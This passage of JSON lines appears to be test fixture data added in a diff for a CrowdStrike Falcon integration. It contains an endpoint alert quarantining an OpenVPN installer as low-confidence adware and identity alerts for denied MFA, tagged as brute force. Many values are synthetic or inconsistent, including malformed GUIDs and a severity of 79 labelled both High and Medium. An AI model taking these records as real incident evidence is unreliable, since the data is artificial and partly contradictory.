_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"}
+{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"}
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"has